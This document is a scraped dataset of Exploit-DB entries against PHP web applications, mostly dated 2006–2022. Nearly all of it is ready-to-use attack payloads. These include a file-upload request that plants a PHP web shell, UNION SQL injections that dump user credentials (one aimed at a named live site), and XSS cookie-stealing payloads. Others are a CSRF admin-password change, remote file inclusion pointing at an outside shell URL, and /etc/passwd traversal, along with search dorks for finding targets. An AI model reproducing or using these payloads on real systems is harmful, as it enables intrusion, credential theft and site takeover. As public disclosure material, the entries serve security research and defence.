deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43324
Description: Accesspress Anonymous Post Pro < 3.2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-12-12
Author: Colette Chamberland

Exploit:
# Exploit Title: Unauthenticated Arbitrary File Upload
# Date: November 12, 2017
# Exploit Author: Colette Chamberland 
# Author contact: colette@defiant.com
# Author homepage: https://defiant.com
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
# Version:  < 3.2.0
# Tested on: Wordpress 4.x
# CVE : CVE-2017-16949


Description:
Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
the attacker to upload anything they want, bypassing the filters.
 
PoC:

POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
Host:server
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]24357792
Content-Length: 264
Referer: http://target.com/
Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; 
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]24357792
Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
Content-Type: text/php

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

----------------------------[PII_REDACTED][PII_REDACTED]24357792--
Exploit-DB #9632
Description: Accommodation Hotel Booking Portal - 'hotel_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-10
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( hotel.php hotel_id )
##
## Accommodation Hotel Booking Portal
##
## http://www.tourismscripts.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/hotel.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/details.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/roomtypes.php?hotel_id=1'+UNION+SELECT+0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/photos.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/map.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/weather.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/reviews.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/book.php?hotel_id=1' << SQL >>
##
########################
########################

# milw0rm.com [2009-09-10]
Exploit-DB #50736
Description: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-11
Author: Alperen Ergel

Exploit:
# Exploit Title: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15155/accounting-journal-management-system-trial-balance-php-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 09.02.2022

######## Description ########
#
# 
#  Authenticate and get update user settings will be appear the
#  id paramater put your payload at there it'll be work 
# 
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

GET /ajms/admin/?page=user/manage_user&id=5%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r513r6hug9aqofhlfs3bc7f7qa
Upgrade-Insecure-Requests: 1
Exploit-DB #47505
Description: Accounts Accounting 7.02 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-10-16
Author: Debashis Pal

Exploit:
# Exploit Title: Express Accounts Accounting 7.02 - Persistent Cross-Site Scripting
# Exploit Author: Debashis Pal
# Date: 2019-10-16
# Vendor Homepage: https://www.nchsoftware.com 
# Source: https://www.nchsoftware.com/accounting/index.html
# Version: Express Accounts Accounting v7.02
# CVE : N/A
# Tested on: Windows 7 SP1(32bit)

# About Express Accounts Accounting v7.02
=========================================
Express Accounts is professional business accounting software, perfect for small businesses. 

# Vulnerability 
================
Persistent Cross site scripting (XSS).

# PoC 
======

1. Login as authenticated unprivileged user to Express Accounts Accounting v7.02 web enable service i.e  http://A.B.C.D:98 [Default installation]. 
2. Under "Invoices" , Invoices List -> View Invoices -> Add New Invoice -> Customer: Field put </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Sales Orders" 
Sales Orders -> view Orders ->  Add New Order -> New Sales Order ->Customer: Field put </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Items" 
Items -> Add new item-> Item field: put  </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Customers" 
Customers -> Add New Customer -> Customer Name:  put  </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Quotes"
Quotes -> View Quotes -> Add New Quote -> Customer: put  </script><script>alert('XSS');</script>
Save the change. 

3. Login in authenticated privileged or unprivileged user to Express Accounts v7.02 web enable service and visit any of Invoices/Sales Orders/Items/Customers/Quotes section, Persistent XSS payload will execute.

# Disclosure Timeline
======================
Vulnerability Discover Date: 15-Sep-2019.
Vulnerability notification to vendor via vendor provided web form: 15-Sep-2019, 19-Sep-2019, 26-Sep-2019, no responds. 
Submit exploit-db : 16-Oct-2019.


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Exploit-DB #10406
Description: AccStatistics 1.1 - Cross-Site Request Forgery (Change Admin Settings)
Type: webapps
Platform: php
Date: 2009-12-13
Author: Milos Zivanovic

Exploit:
[-------------------------------------------------------------------------------------------------]
[   Title: AccStatistics v1.1 XSRF Vulnerability (Change Admin Settings)                          ]
[   Author: Milos Zivanovic                                                                       ]
[   Date: 13. December 2009.                                                                      ]
[-------------------------------------------------------------------------------------------------]

[-------------------------------------------------------------------------------------------------]
[   Application: AccStatistics                                                                    ]
[   Version: v1.1                                                                                 ]
[   Download: http://www.accstatistics.com/download/accstatistics.zip                             ]
[   Vulnerability: Cross Site Request Forgery                                                     ]
[-------------------------------------------------------------------------------------------------]

I've tested this on demo version where name attribute of submit button is 'preview'. I doubt that's
the name in the real thing. I don't know what is the name tag of it but it's usually 'submit' or
'save' (could be something other).

With this exploit we can change allot of stuff, but some of the most critical would be:
username, email, password...

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/accstatistics/demo/index.php" method="POST">
  <input type="hidden" name="p" value="edit1">
  <input type="hidden" name="id" value="1">
  <input type="hidden" id="input_username" name="input_username" value="admin">
  <input type="hidden" id="input_email" name="input_email" value="my@email.com">
  <input type="password" id="input_password" name="input_password" value="hacked">
  <input type="password" id="input_password1" name="input_password1" value="hacked">
  <input type="hidden" id="input_sitename" name="input_sitename" value="AccStatistics">
  <input type="hidden" id="input_ignoredomains" name="input_ignoredomains" value="">
  <input type="hidden" id="input_ignoremyvisits" name="input_ignoremyvisits" value="1">
  <input type="hidden" id="input_ignoresubdomenins" name="input_ignoresubdomenins" value="1">
  <input type="hidden" id="input_rowsperpage" name="input_rowsperpage" value="30">
  <input type="checkbox" id="input_reset" name="input_reset" value="1">
  <input type="submit" name="preview" value="Save">
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[----------------------------------------------EOF------------------------------------------------]
Exploit-DB #4707
Description: Ace Image Hosting Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-09
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		   Ace Image Hosting Script SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: N/A


DESCRIPTION: 
pull user's info from the database


EXPLOITS:
www.site.com/albums.php?mode=editalbum&id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(user,char(58),password),3/**/FROM/**/users/**/LIMIT/**/0,1/*


NOTE/TIP:
admin login is at /admin/
passwords are in plaintext
you MUST create a account and login before the injection will work


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+		   Ace Image Hosting Script SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09]
Exploit-DB #4330
Description: ACG News 1.0 - 'aid'/'catid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-28
Author: SmOk3

Exploit:
ACG News SQL Injection

Software: ACG News 1.0
Vendor link: http://www.altercoder.com
Vendor Demo link: http://acgnews.uw.hu/index.php
Attack: SQL Injection

Original Advisory:
http://14house.blogspot.com/2007/08/acg-news-sql-injection.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information. Vulnerable variables are $aid and $catid
on index.php file.

Proof of Concept:
index.php?menu=showarticle&aid=[SQL INJECTION]
index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

index.php?menu=showcat&catid=[SQL INJECTION]
index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version


Solution:

Your script should filter metacharacters from user input.


Vendor contacted but I'm waiting for reply.

# milw0rm.com [2007-08-28]
Exploit-DB #30539
Description: ACG News 1.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-08-28
Author: SmOk3

Exploit:
source: https://www.securityfocus.com/bid/25466/info

ACG News is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect ACG News 1.0; other versions may also be vulnerable. 

http://www.example.com/index.php?menu=showarticle&aid=[SQL INJECTION]
http://www.example.com/index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

http://www.example.com/index.php?menu=showcat&catid=[SQL INJECTION]
http://www.example.com/index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version
Exploit-DB #6362
Description: ACG-PTP 1.0.6 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-04
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=65
|
| DorK   : inurl:index.php?menu=adorder
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--






L!VE DEMO:
_________


http://www.discountedscripts.com/demos/acg-ptp/index.php?menu=adorder&adid=-3+union+select+null,null,concat_ws(0x3a,username,password),null+From+users--


____________

Admin Login :

www.[target].com/Script/admin/

____________




____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________




                             Im IRAQi

# milw0rm.com [2008-09-04]
Exploit-DB #6364
Description: ACG-ScriptShop - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-04
Author: Hussin X

Exploit:
|___________________________________________________|
|
|ACG-ScriptShop (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=67
|
| DorK : inurl:index.php?menu=showcat
|___________________________________________________|

Exploit: 
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+coders--




Exploit: 2
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+resellers--




Exploit: 3
________

www.[target].com/Script/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,upass),3+from+users--




L!VE DEMO:
_________


http://www.discountedscripts.com/demos/acgshop/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+coders--


http://www.discountedscripts.com/demos/acgshop/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,password),3+from+resellers--



http://www.creative66.com/index.php?menu=showcat&cid=-2+union+select+1,concat_ws(0x3a,username,upass),3+from+users--

____________

Admin Login :

www.[target].com/Script/admin

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|  
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-09-04]
Exploit-DB #2307
Description: ACGV News 0.9.1 - 'article.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: SHiKaA

Exploit:
#==============================================================================================
#ACGV News <= v0.9.1 (PathNews) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.acgv.fr.st/       
#                                                                       
#Version : v0.9.1                                             
#                                                         
#================================================================================================
#Bug in : article.php
#
#Vlu Code :
#--------------------------------
#     include_once($PathNews."header.php");
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/article.php?PathNews=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke SimOO KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# ==================================================================================================

# milw0rm.com [2006-09-05]
Exploit-DB #31802
Description: ACGV News 0.9.1 - 'glossaire.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-16
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29253/info
 
ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ACGV News 0.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ACGVnews/glossaire.php?id="><script>alert(document.cookie)</script>
Exploit-DB #31801
Description: ACGV News 0.9.1 - 'glossaire.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-16
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29253/info

ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ACGV News 0.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ACGVnews/glossaire.php?id=[SQL]
Exploit-DB #2324
Description: ACGV News 0.9.1 - 'header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: ddoshomo

Exploit:
# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# ACGV News v0.9.1 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=1420
 
# Script  :  ACGV News v0.9.1
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/ACGVnews/header.php?PathNews=[shell]

# milw0rm.com [2006-09-07]
Exploit-DB #3867
Description: ACGVAnnu 1.3 - 'acgv.php?rubrik' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-05-07
Author: BeyazKurt

Exploit:
# BeyazKurt - B3yazKurt@Hotmail.Com
#
# ACGV Annu (rubrik) Local File Inclusion Exploit
#
# Lamerler ortada kol geziyo aman dikkat ! Tr0jan kazasÄ±na denk gelmeyin !!
#
# Www.HackSafety.Com // Hackingde yeni bir Ã§aÄŸ ...
#
# HackSafety.Com & WorldHackerz.Net KardeÅŸliÄŸi...
#
# rerere rararara bjk bjk MUAHAHAH
#
# FincanÄ± taÅŸtan oyarlar amanÄ±n oyarlar beÅŸiktaÅŸa bÃ¶yle ... bjk'e bÃ¶yle ... !!
#
# Download : http://www.phpscripts-fr.net/scripts/download.php?id=1107

/theme/acgv.php?rubrik=../../../etc/passwd%00

# milw0rm.com [2007-05-07]
Exploit-DB #3208
Description: ACGVannu 1.3 - 'index2.php' Remote User Pass Change
Type: webapps
Platform: php
Date: 2007-01-27
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ACGVannu <= 1.3 (index2.php) Remote User Pass Change Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************

[[REMOTE PASS CHANGE]]]

http://[target]/[path]//index2.php [ID VARIABLE]

Example:

ID=USER ID (167)

//index2.php?id=&nom=ajann2&prenom=ajann2&pass=0002455&rubrik=modif&fo_remp=oui&id=167&mail=a&url=http://a&titre=a&descript=+a+&categorie=G%E9n%E9ral&Submit=Gonder

[[/REMOTE PASS CHANGE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27]
Exploit-DB #3206
Description: ACGVclick 0.2.0 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-27
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ACGVclick <= 0.2.0 (path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include($path."mysql.php");
include($path."aclick_connect.php");
$raf= new mysql_connection($hote,$login,$pass,$base);
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]//function.inc.php?path=[SHELL]

Example:

//function.inc.php?path=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27]